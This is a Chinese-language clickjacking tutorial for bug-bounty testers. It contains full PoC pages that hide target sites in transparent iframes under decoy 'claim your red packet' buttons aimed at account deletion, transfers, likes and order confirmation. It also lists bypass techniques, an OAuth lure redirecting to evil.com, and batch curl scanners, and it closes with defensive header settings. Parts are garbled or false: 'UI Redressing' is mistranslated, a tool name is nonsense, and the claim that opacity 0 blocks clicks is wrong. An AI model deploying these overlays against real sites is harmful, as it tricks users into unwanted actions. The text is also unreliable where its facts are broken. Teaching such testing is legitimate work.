title: "【教程】Clickjacking(点击劫持)从原理到实战:含完整PoC与高级绕过技术"
tags: [clickjacking, web安全, 点击劫持, UI Redressing, bug bounty, iframe, CSP]
适合人群:Web安全入门者、SRC/漏洞赏金猎人、渗透测试工程师
前置知识:HTML/CSS基础、HTTP响应头概念、浏览器同源策略基础概念
【教程】Clickjacking(点击劫持)从原理到实战:含完整PoC与高级绕过技术
一、前置准备
1.1 环境说明
Clickjacking 测试不需要搭建专门的靶场,只需一个可控制的攻击者服务器(用来托管恶意HTML页面)和一个目标站点。本次教程用以下环境演示:
- 攻击者服务器:任意一台能托管静态HTML的机器(本地
python3 -m http.server 8080即可) - 目标站点:任一未设置
X-Frame-Options/ CSPframe-ancestors的Web应用 - 浏览器:Chrome/Firefox最新版(用于验证和观察)
- 工具:浏览器开发者工具、Burp Suite(辅助分析响应头)
1.2 Clickjacking测试核心工具
不需要安装特殊工具,核心就是浏览器 + 一个HTML文件。但以下辅助工具有帮助:
| 工具 | 用途 | 获取方式 |
|---|---|---|
| 浏览器DevTools | 查看iframe加载状态、响应头 | 内置 |
| Burp Suite | 抓包分析目标响应头 | 专业版/社区版 |
whatweb | 快速识别目标技术栈 | apt install whatweb |
níx 脚本 | 批量检测多个目标的X-Frame-Options | 自写Python脚本 |
1.3 理解关键HTTP响应头
在开始之前,你必须理解三个防御Clickjacking的关键响应头:
X-Frame-Options: DENY # 完全禁止被任何页面iframe嵌入
X-Frame-Options: SAMEORIGIN # 只允许同源页面嵌入
Content-Security-Policy: frame-ancestors 'self' # 现代标准,替代X-Frame-Options
如果目标站点没有设置以上任何一个响应头,它就可能存在Clickjacking漏洞。
二、核心原理
2.1 什么是Clickjacking
Clickjacking(点击劫持),又称 UI Redressing(UI红色伪装),是一种视觉欺骗攻击。攻击者在自己的恶意页面中通过透明或伪装的iframe嵌入目标网站,诱导用户在不知情的情况下点击目标页面上的特定按钮或链接。
一句话总结:你以为你在点"领取红包",实际上你在点目标网站的"转账确认"。
2.2 攻击原理图解
攻击者的恶意页面 (evil.com)
┌──────────────────────────────────────┐
│ [点击领取100元红包] │ ← 用户看到的按钮
│ │
│ ┌────────────────────────────────┐ │
│ │ 目标网站的iframe │ │ ← 透明层,用户看不见
│ │ (opacity: 0) │ │
│ │ [确认删除账户] 按钮位置 │ │ ← 与上方按钮位置重叠
│ └────────────────────────────────┘ │
│ │
└──────────────────────────────────────┘
用户点击"领取红包" → 实际点击了iframe中"确认删除账户"
2.3 Clickjacking的危害场景
| 场景 | 攻击者诱导用户点击 | 实际执行的操作 |
|---|---|---|
| 社交网络 | "查看你的性格测试结果" | 发布攻击者预设的内容 |
| 邮箱服务 | "查看你的邮件统计" | 将转发规则设置为攻击者邮箱 |
| 金融平台 | "领取优惠券" | 执行转账操作 |
| 云服务 | "查看本月使用报告" | 创建API密钥/修改权限设置 |
| 管理后台 | "系统维护通知" | 修改安全设置/创建后门账号 |
2.4 Clickjacking的三个必要条件
- 目标页面存在可被利用的交互操作(按钮、链接、表单提交等)
- 目标页面允许被iframe嵌入(无X-Frame-Options/CSP frame-ancestors限制)
- 攻击者能控制iframe的呈现方式(位置、透明度、大小)
三、实操步骤
3.1 第一步:检测目标是否存在Clickjacking漏洞
最基础的检测方法——直接用iframe嵌入目标页面:
方法一:手动检测(HTML文件)
<!-- clickjack-test.html -->
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* 几乎透明但不是0(0的话点击事件不会穿透) */
z-index: 2;
}
.fake-button {
position: absolute;
top: 300px; /* 需要和目标页面按钮位置对齐 */
left: 400px;
z-index: 1;
padding: 15px 30px;
background: #ff4444;
color: white;
font-size: 20px;
border: none;
border-radius: 5px;
cursor: pointer;
}
</style>
</head>
<body>
<h1>🎉 恭喜你中奖了!</h1>
<p>点击下方按钮领取你的100元红包:</p>
<!-- 伪装的诱饵按钮 -->
<button class="fake-button">🎁 点击领取红包</button>
<!-- 透明的目标iframe -->
<iframe src="https://target.com/settings/delete-account"></iframe>
</body>
</html>
将此文件在攻击者服务器上打开,如果用户点击"领取红包"按钮时实际触发了iframe中"删除账户"按钮的点击,漏洞就确认了。
方法二:浏览器控制台快速检测
在浏览器Console中执行:
// 快速检测某个URL是否可以被iframe嵌入
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function() {
try {
var loc = iframe.contentWindow.location.href;
console.log('[!] Vulnerable: ' + loc);
} catch(e) {
console.log('[+] Protected: ' + e.message);
}
document.body.removeChild(iframe);
}, 2000);
方法三:检查HTTP响应头(被动检测)
# 用curl检查目标响应头中是否有X-Frame-Options或CSP
curl -sI https://target.com | grep -iE '(x-frame-options|content-security-policy)'
# 如果没有输出,说明没有设置防Clickjacking头 → 可能存在漏洞
3.2 第二步:构建精确对齐的PoC
手动对齐iframe位置很痛苦,以下是自动化对齐的几种方法:
方法A:JavaScript动态调整iframe位置
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC - Auto Align</title>
<style>
body { margin: 0; padding: 0; }
iframe {
position: absolute;
top: 0;
left: 0;
opacity: 0.0001;
z-index: 2;
border: none;
}
.overlay-ui {
position: absolute;
z-index: 1;
/* 通过调整这些值来对齐目标按钮 */
}
</style>
</head>
<body>
<div class="overlay-ui" id="fake-ui">
<h2>系统安全验证</h2>
<p>请完成以下操作以验证您的身份:</p>
<button style="padding: 10px 20px; font-size: 16px;" id="fake-btn">
确认操作
</button>
</div>
<iframe id="target-frame" src="https://target.com/transfer"></iframe>
<script>
// 点击诱饵按钮时,同时触发iframe中的点击
document.getElementById('fake-btn').addEventListener('click', function(e) {
e.preventDefault();
// 将点击事件传递到iframe
var frame = document.getElementById('target-frame');
// 由于跨域限制,我们使用位置对齐的方式
console.log('点击已触发,如果位置对齐正确,iframe中的按钮也被点击了');
});
</script>
</body>
</html>
方法B:使用pointer-events实现点击穿透(更高级)
/* 让iframe上方的元素不拦截鼠标事件,事件直接穿透到iframe */
.overlay-ui {
pointer-events: none; /* 禁用所有鼠标事件 */
}
/* 只让特定元素可以接收点击(作为诱饵) */
.fake-button {
pointer-events: auto; /* 这个按钮可以被点击 */
}
3.3 第三步:利用JavaScript处理跨域限制
由于同源策略,攻击者无法直接读取iframe中的DOM。但Clickjacking不需要读取DOM——只需要位置对齐+点击穿透。
iframe内部自动滚动到目标按钮位置:
<script>
// 在攻击者页面中控制iframe滚动
var iframe = document.getElementById('target-frame');
// 利用hash参数控制iframe内页面滚动到特定位置
// 前提:目标页面接受hash参数且会滚动到对应锚点
iframe.src = 'https://target.com/settings#delete-button';
</script>
利用CSS控制iframe内容可见性:
<style>
iframe {
/* 只显示目标按钮周围的小区域,其余隐藏 */
clip-path: inset(280px 350px 320px 450px); /* 裁剪到按钮区域 */
opacity: 0.0001; /* 几乎透明 */
position: absolute;
top: -280px; /* 与overlay位置对齐 */
left: -350px;
}
</style>
3.4 第四步:绕过基本防御
绕过方式一:利用子页面绕过X-Frame-Options
如果目标主页面设置了 X-Frame-Options: DENY,但某些子页面(如登录页、错误页、帮助页)没有设置,可以尝试:
# 检查目标的哪些子路径没有设置X-Frame-Options
for path in / /login /register /about /help /api/docs /error /static/js/app.js; do
result=$(curl -sI "https://target.com${path}" | grep -i 'x-frame-options')
if [ -z "$result" ]; then
echo "[!] No X-Frame-Options: https://target.com${path}"
fi
done
<!-- 嵌入没有X-Frame-Options保护的子页面 -->
<iframe src="https://target.com/api/docs"></iframe>
绕过方式二:利用Flash/SWF(历史方法,现代浏览器已限制)
<!-- 用SWF文件嵌入目标页面(仅对老旧系统有效) -->
<object type="application/x-shockwave-flash"
data="clickjack.swf?url=https://target.com">
<param name="movie" value="clickjack.swf?url=https://target.com">
</object>
绕过方式三:利用<meta>标签绕过
某些服务器通过<meta>标签设置X-Frame-Options(这是不规范的做法):
<!-- 目标页面中可能存在: -->
<meta http-equiv="X-Frame-Options" content="DENY">
这种情况下,浏览器实际不会读取meta标签中的X-Frame-Options(只认HTTP响应头),所以这种"防御"无效。
绕过方式四:利用CORS配置错误
<!-- 如果目标有CORS但配置不当,可以跨域读取内容 -->
<script>
fetch('https://target.com/api/user-info', {
credentials: 'include'
}).then(r => r.json()).then(data => {
// 获取用户信息后用于精准社会工程
document.getElementById('greeting').textContent =
'Hello, ' + data.name + '! 点击领取专属优惠';
});
</script>
四、绕过技术
4.1 绕过`X-Frame-Options: SAMEORIGIN`
如果攻击者的页面在目标域名的子路径下(如通过子域名接管),则SAMEORIGIN不会阻止:
目标域名: example.com
攻击者控制的子域名: evil.example.com (通过子域名接管)
→ evil.example.com 可以iframe嵌入 example.com ✓
4.2 绕过`Content-Security-Policy: frame-ancestors`
# 检查CSP frame-ancestors的完整配置
curl -sI https://target.com | grep -i 'content-security-policy'
# 可能的宽松配置:
# CSP: frame-ancestors 'self' *.example.com
# → 攻击者注册 example.com.evil.com(DNS Pinning攻击)不行
# → 但如果允许 *.example.com,攻击者只需在 example.com 下找到可控页面
# 更宽松的配置:
# CSP: frame-ancestors 'self' *
# → 完全无效,任何页面都可以嵌入
4.3 基于移动端的绕过
移动端浏览器对Clickjacking防御普遍较弱:
<!-- 移动端优化的Clickjacking PoC -->
<style>
@media (max-width: 768px) {
iframe {
width: 375px;
height: 667px;
position: fixed;
top: 200px;
left: 0;
opacity: 0;
z-index: 9999;
}
.mobile-fake-btn {
position: fixed;
bottom: 100px;
left: 50%;
transform: translateX(-50%);
padding: 20px 40px;
background: #4CAF50;
color: white;
font-size: 18px;
border-radius: 30px;
z-index: 1;
}
}
</style>
4.4 双击劫持(Double Clickjacking)
<!-- 利用双击事件的时序差异 -->
<script>
var clickCount = 0;
document.getElementById('fake-btn').addEventListener('click', function(e) {
clickCount++;
if (clickCount === 1) {
// 第一次点击:改变iframe的位置/内容
// 让iframe中的关键操作对准鼠标位置
var iframe = document.getElementById('target-frame');
iframe.style.top = (e.clientY - 50) + 'px';
iframe.style.left = (e.clientX - 50) + 'px';
}
// 第二次点击:实际触发iframe中的操作
});
</script>
4.5 快速点击劫持(Fast Clickjacking)
利用页面加载的时间差,在iframe加载完成前就诱导用户点击:
<script>
var fakeBtn = document.getElementById('fake-btn');
// 立即显示诱饵按钮,不等iframe加载完成
fakeBtn.style.display = 'block';
// iframe在后台静默加载
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/transfer';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// iframe加载完成后,调整位置使其与诱饵按钮重叠
iframe.onload = function() {
iframe.style.display = 'block';
iframe.style.opacity = '0.0001';
// 精确对齐...
};
</script>
五、实战案例复盘
案例一:某社交平台点赞劫持
目标:某社交平台的"点赞"按钮
发现过程:
# 检查响应头
curl -sI https://social-target.com/api/v1/post/12345/like | grep -i 'x-frame-options'
# 无输出 → 未设置X-Frame-Options
# 检查CSP
curl -sI https://social-target.com/api/v1/post/12345/like | grep -i 'content-security-policy'
# 无输出 → 未设置CSP
PoC构建:
<iframe src="https://social-target.com/post/12345"
style="position:absolute;top:0;left:0;width:100%;height:100%;opacity:0;z-index:2;">
</iframe>
<button style="position:absolute;top:200px;left:300px;z-index:1;padding:20px;font-size:18px;">
🎁 抽奖:点击领取iPhone
</button>
利用链:
- 将"领取iPhone"按钮与目标页面的"点赞"按钮位置对齐
- 诱骗用户点击 → 用户在不知情的情况下为攻击者的帖子点赞
- 攻击者通过大量点赞提升帖子热度,用于引流或社会工程
案例二:某电商平台订单确认劫持
场景:电商平台的"确认收货"按钮可以被iframe嵌入
高级利用:
<!-- 利用CSS精确裁剪iframe,只显示"确认收货"按钮区域 -->
<style>
iframe {
position: absolute;
/* 精确裁剪到"确认收货"按钮位置 */
clip: rect(295px, 450px, 345px, 350px);
top: -295px;
left: -350px;
opacity: 0.0001;
}
.fake-notification {
position: absolute;
top: 200px;
left: 250px;
background: white;
border: 2px solid #ff6600;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
z-index: 1;
}
</style>
<div class="fake-notification">
<h3>📦 物流更新</h3>
<p>您的订单已到达附近站点,请确认收货地址</p>
<button style="background:#ff6600;color:white;padding:10px 25px;border:none;border-radius:4px;">
确认地址
</button>
</div>
<iframe src="https://shop-target.com/order/98765/confirm"></iframe>
案例三:利用新标签页的Clickjacking变种
某些操作会打开新标签页(如OAuth授权),可以在新标签页中进行Clickjacking:
// 在攻击者页面中
document.getElementById('fake-btn').addEventListener('click', function() {
// 打开目标授权页面
var authWindow = window.open('https://target.com/oauth/authorize?client_id=attacker&redirect_uri=evil.com');
// 由于跨域限制无法操作新窗口,但可以利用时序
// 在新窗口加载完成前,先显示一个假的授权确认页面
});
六、防御建议
6.1 设置正确的HTTP响应头
# Nginx配置
# 方法一:X-Frame-Options(兼容老浏览器)
add_header X-Frame-Options "DENY" always;
# 或者只允许同源
add_header X-Frame-Options "SAMEORIGIN" always;
# 方法二:CSP frame-ancestors(推荐,更灵活)
add_header Content-Security-Policy "frame-ancestors 'self'" always;
# 方法三:如果需要允许特定域名嵌入
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted-partner.com" always;
# Apache配置
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'self'"
6.2 JavaScript防御(辅助方案)
在页面中添加JS防御,作为HTTP头的补充:
// 防止页面被iframe嵌入
if (window.top !== window.self) {
// 检测到被iframe嵌入
window.top.location = window.self.location;
// 或者直接销毁页面
document.body.innerHTML = '';
}
6.3 关键操作的二次确认
<!-- 敏感操作必须使用二次确认对话框 -->
<button onclick="confirmDelete()">删除账户</button>
<script>
function confirmDelete() {
// 使用原生confirm对话框,无法被iframe覆盖
if (confirm('确定要删除账户吗?此操作不可恢复!')) {
// 执行删除操作
fetch('/api/delete-account', { method: 'POST' });
}
}
</script>
6.4 防御措施优先级
| 措施 | 优先级 | 说明 |
|---|---|---|
Content-Security-Policy: frame-ancestors | ⭐⭐⭐ | 现代标准,最灵活 |
X-Frame-Options | ⭐⭐⭐ | 兼容老浏览器,必须设置 |
JS检测 window.top !== window.self | ⭐⭐ | 辅助方案,可被绕过 |
| 敏感操作二次确认 | ⭐⭐⭐ | 根本性防御 |
| 避免敏感操作GET请求 | ⭐⭐ | 减少攻击面 |
七、常见陷阱
陷阱1:`opacity: 0` vs `opacity: 0.0001`
<!-- ❌ 错误:opacity为0时,点击事件不会穿透到iframe -->
<iframe style="opacity: 0;"></iframe>
<!-- ✅ 正确:用极小的非零值,点击事件可以穿透 -->
<iframe style="opacity: 0.0001;"></iframe>
陷阱2:X-Frame-Options和CSP同时设置
# 如果同时设置两个头,浏览器会如何处理?
# Chrome:两个都检查,任一拒绝就阻止
# Firefox:只看CSP frame-ancestors(如果存在)
# Safari:行为不一致
# 最佳实践:两个都设置,但保持一致
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;
陷阱3:本地文件协议限制
// Chrome从2018年起禁止file://协议的页面iframe嵌入http/https页面
// 所以测试Clickjacking必须通过HTTP服务器托管,不能直接双击打开HTML文件
// ❌ 错误:file:///path/to/test.html 嵌入 https://target.com
// ✅ 正确:http://localhost:8080/test.html 嵌入 https://target.com
陷阱4:忽略子域名
# 很多安全测试只检查主域名,忽略了子域名
# 检查所有子域名的X-Frame-Options
for sub in www api mail dev staging admin; do
echo -n "$sub.target.com: "
curl -sI "https://$sub.target.com" | grep -i 'x-frame-options' || echo "NOT SET"
done
陷阱5:Clickjacking ≠ CSRF
Clickjacking: 需要用户交互(点击),不涉及token/token验证
CSRF: 不需要用户看到页面,通过自动提交表单触发,防御用CSRF Token
两者可以组合使用:
- CSRF构造恶意请求
- Clickjacking诱导用户点击触发该请求
八、总结
速查表
| 检测项 | 方法 | 命令 | |
|---|---|---|---|
| X-Frame-Options缺失 | 检查HTTP响应头 | `curl -sI URL \ | grep -i x-frame-options` |
| CSP frame-ancestors缺失 | 检查CSP头 | `curl -sI URL \ | grep -i content-security-policy` |
| iframe可嵌入验证 | 构造PoC HTML | 使用<iframe src="目标URL">测试 | |
| 子域名检测 | 遍历子域名检查 | 批量curl检测各子域 |
速查Payload
# 检测目标是否有防Clickjacking保护
curl -sI https://target.com | grep -iE '(x-frame-options|frame-ancestors)'
# 如果无输出 → 可能存在Clickjacking漏洞
# 批量检测脚本
while read url; do
echo -n "$url: "
curl -sI "$url" | grep -iE '(x-frame-options|frame-ancestors)' || echo "[!] VULNERABLE"
done < urls.txt
Clickjacking攻击流程
1. 被动检测 → curl检查响应头
↓
2. 主动验证 → 构造PoC HTML文件
↓
3. 精确对齐 → CSS clip/path + JS位置调整
↓
4. 绕过防御 → 子域名/子路径/Meta标签绕过
↓
5. 报告提交 → 提供PoC + 复现步骤 + 影响说明
工具清单
| 工具 | 用途 | 场景 |
|---|---|---|
| curl | 检查HTTP响应头 | 被动检测 |
| 浏览器DevTools | 调试iframe/CSS对齐 | PoC开发 |
| Burp Suite | 抓包分析+自动化扫描 | 大规模测试 |
| 自写Python脚本 | 批量检测多目标 | SRC批量挖掘 |
| OWASP ZAP | 自动化安全扫描 | 全面测试 |
💡 SRC挖掘提示:Clickjacking是漏洞赏金平台中低悬果实(Low-hanging fruit),检测成本极低(一条curl命令),但提交时必须提供可复现的PoC和明确的影响说明(如:可以诱导用户执行哪些敏感操作)。纯报告"未设置X-Frame-Options"通常不被接受为有效漏洞。